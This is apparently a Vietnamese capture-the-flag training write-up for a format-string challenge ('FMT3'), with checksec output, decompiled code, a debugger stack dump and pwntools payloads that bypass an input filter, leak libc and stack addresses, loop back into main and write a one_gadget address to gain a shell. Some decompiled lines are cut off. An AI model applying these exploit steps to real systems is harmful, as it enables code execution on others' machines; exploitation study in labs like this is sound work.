

FMT3

```
huynq@huynq-uet-crys:~/Documents/exploit-train/exploit/formatstring3$ checksec chall
[*] '/home/huynq/Documents/exploit-train/exploit/formatstring3/chall'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
RUNPATH:   /lib64/ld-linux-x86-64.so.2

Decompile: main - (chall)
1
2 Undefined8 main(EVP_PKEY_CTX *param_1)
3
4 {
5     int iVar1;
6     ssize_t sVar2;
7     int local_10;
8
9     init(param_1);
10    local_10 = 0;
11    puts("Viettel Challenge\n");
12    printf("Give me your name: ");
13    fgets(name,0x14,stdin);
14    while( true ) {
15        if (2 < local_10) {
16            return 0;
17        }
18        puts("\nCan you
19        sVar2 = read(0,s
20        (&DAT_003020bf)[(int)sVar2] = 0;
21        iVar1 = strncmp(s,"yes",3);
22        if (iVar1 != 0) break;
23        puts("Let me see");
24        filter(s);
25        puts("It\'seem good");
26        printf(s);
27        local_10 = local_10 + 1;
28    }
29    puts("Whatever, see you again");
30    return 0;
31 }
32
```

Có lỗi format string ở dòng 26. Bài này có một số điểm đáng lưu ý như sau:

- Hàm filter lọc đầu vào và loại bỏ ký tự % hoặc \$ ở vị trí i và tiếp tục thực hiện ở vị trí i + 1 → Nếu nhập 2 ký tự %% hoặc \$\$ sẽ pass.
- Input chỉ cho nhập tối đa 20 ký tự và luôn bắt đầu bằng “yes”
- Chỉ được input format string 3 lần
- Input vào biến s (ở .bss) không có trong buffer, nên ta chỉ có thể overwrite qua các giá trị trên stack.

Quan sát stack ngay trước khi hàm printf thực hiện

```

pwndbg> stack 50
00:0000 rsp 0x7fffffffda80 → 0x7fffffffdb70 ← 0x1
01:0008 0x7fffffffda88 ← 0x900000000
02:0010 0x7fffffffda90 → 0x555555400d60 ( __libc_csu_init) ← push r15
03:0018 0x7fffffffda98 → 0x7ffff7a59730 ( __libc_start_main+240) ← mov edi, eax
04:0020 0x7fffffffdaa0 ← 0x0
05:0028 0x7fffffffdaa8 → 0x7fffffffdb78 → 0x7fffffffdf4a ← '/home/huynq/Documents/exploit-train/exploit/formatstring3/chall'
06:0030 0x7fffffffdaB0 ← 0x100000000
07:0038 0x7fffffffdaB8 → 0x555555400c45 (main) ← push rbp
08:0040 0x7fffffffdaC0 ← 0x0
09:0048 0x7fffffffdaC8 ← 0xc773a6774b700c31
0a:0050 0x7fffffffdaD0 → 0x5555554009a0 ( __start) ← xor ebp, ebp
0b:0058 0x7fffffffdaD8 → 0x7fffffffdb70 ← 0x1
0c:0060 0x7fffffffdae0 ← 0x0
0d:0068 0x7fffffffdae8 ← 0x0
0e:0070 0x7fffffffdaF0 ← 0x9226f308e4f00c31
0f:0078 0x7fffffffdaF8 ← 0x9226e3bc7c600c31
10:0080 0x7fffffffdb00 ← 0x0
... 2 skipped
13:0098 0x7fffffffdb18 ← 0x1
14:00a0 0x7fffffffdb20 → 0x555555400c45 (main) ← push rbp
15:00a8 0x7fffffffdb28 → 0x555555400dd0 ( __libc_csu_fini) ← ret
16:00b0 0x7fffffffdb30 ← 0x0
17:00b8 0x7fffffffdb38 ← 0x0
18:00c0 0x7fffffffdb40 → 0x5555554009a0 ( __start) ← xor ebp, ebp
19:00c8 0x7fffffffdb48 → 0x7fffffffdb70 ← 0x1
1a:00d0 0x7fffffffdb50 ← 0x0
1b:00d8 0x7fffffffdb58 → 0x5555554009c9 ( __start+41) ← hlt
1c:00e0 0x7fffffffdb60 → 0x7fffffffdb68 ← 0x1c
1d:00e8 0x7fffffffdb68 ← 0x1c
1e:00f0 r13 0x7fffffffdb70 ← 0x1
1f:00f8 0x7fffffffdb78 → 0x7fffffffdf4a ← '/home/huynq/Documents/exploit-train/exploit/formatstring3/chall'
20:0100 0x7fffffffdb80 ← 0x0
21:0108 0x7fffffffdb88 → 0x7fffffffdf8a ← 'SHELL=/bin/bash'
22:0110 0x7fffffffdb90 → 0x7fffffffdf9a ← 'SESSION_MANAGER=local/huynq-uet-crys:@/tmp/.ICE-unix/1914,unix/huynq-uet-crys:/tmp/.ICE-unix/1914'
23:0118 0x7fffffffdb98 → 0x7fffffffdfc ← 'QT_ACCESSIBILITY=1'
24:0120 0x7fffffffdba0 → 0x7fffffffef0f ← 'COLORTERM=truecolor'
25:0128 0x7fffffffdba8 → 0x7fffffffef23 ← 'XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg'
26:0130 0x7fffffffdbb0 → 0x7fffffffef50 ← 'XDG_MENU_PREFIX=gnome-'
27:0138 0x7fffffffdbb8 → 0x7fffffffef67 ← 'TERM_PROGRAM_VERSION=1.73.1'
28:0140 0x7fffffffdbc0 → 0x7fffffffef83 ← 'GNOME_DESKTOP_SESSION_ID=this-is-deprecated'
29:0148 0x7fffffffdbc8 → 0x7fffffffefaf ← 'LC_ADDRESS=vi_VN'
2a:0150 0x7fffffffdbd0 → 0x7fffffffefc0 ← 'GNOME_SHELL_SESSION_MODE=ubuntu'
2b:0158 0x7fffffffdbd8 → 0x7fffffffefee ← 'LC_NAME=vi_VN'
2c:0160 0x7fffffffdbE0 → 0x7fffffffefee ← 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'

```

Ta thấy tại offset 05 có một con trỏ (mang giá trị ở địa chỉ khác trên stack). Ta có thể dùng đặc điểm này để trỏ nó vào ret address trên stack và overwrite one_gadget. Cách làm như sau:

- Đầu tiên, ta sẽ leak libc address và stack address, ret address trên stack

```

p.sendlineafter(b'name: ', b'huy')

payload = b'yes' + b'%%9$$p%%1l$$p'

p.sendlineafter(b'me?\n', payload)
p.recvuntil(b'yes')

leak = p.recvline()[1:].decode().split('0x')
libc.address = int(leak[1], 16) - libc.symbols['__libc_start_main'] - 240
stack_address = int(leak[2], 16) - 0x1f * 8
ret_stack_frame = stack_address + 3 * 8

log.info(f'leak libc address: 0x{libc.address:0x}')
log.info(f'stack address: 0x{stack_address:0x}')
log.info(f'return stack frame: 0x{ret_stack_frame:0x}')

```

- Tiếp theo, ta sẽ overwrite con trỏ vào ret address. Vì chỉ khai thác được lỗi 3 lần, là không đủ vì mỗi lần chỉ tối đa 20 ký tự, nên ta sẽ tìm cách chạy lại hàm main để khai thác lỗi lần nữa. Ta sẽ overwrite ret address thành một vị trí hợp lý trước lời gọi hàm main trong libc_start_main

```

payload = b'yes' + '%x%x{}$hn'.format((ret_stack_frame & 0xffff) - 3, 11).encode()
print(payload)
p.sendlineafter(b'me?\n', payload)
p.recvuntil(b'yes')

payload = b'yes' + '%x%x{}$hn'.format(((libc.symbols['__libc_start_main'] + 195) & 0xff) - 3, 37).encode()
print(payload)
p.sendlineafter(b'me?\n', payload)

```

- Cuối cùng, ta thực hiện 3 lần attack để ghi one_gadget vào ret address

```

p.sendlineafter(b'name: ', b'huy')

one_gadget = libc.address + 0xd5bf7
payload = b'yes' + '%x%x{}$hn'.format((one_gadget & 0xffff) - 3, 37).encode()
print(payload)
p.sendlineafter(b'me?\n', payload)

payload = b'yes' + '%x%x{}$hn'.format(((ret_stack_frame & 0xffff) + 2) - 3, 11).encode()
print(payload)
p.sendlineafter(b'me?\n', payload)

one_gadget = one_gadget >> 16
payload = b'yes' + '%x%x{}$hn'.format((one_gadget & 0xffff) - 3, 37).encode()
print(payload)
p.sendlineafter(b'me?\n', payload)

```

Thành công truy cập shell



```

chall ld-2.23.so libc.2.23.so sol.py
$ ls

```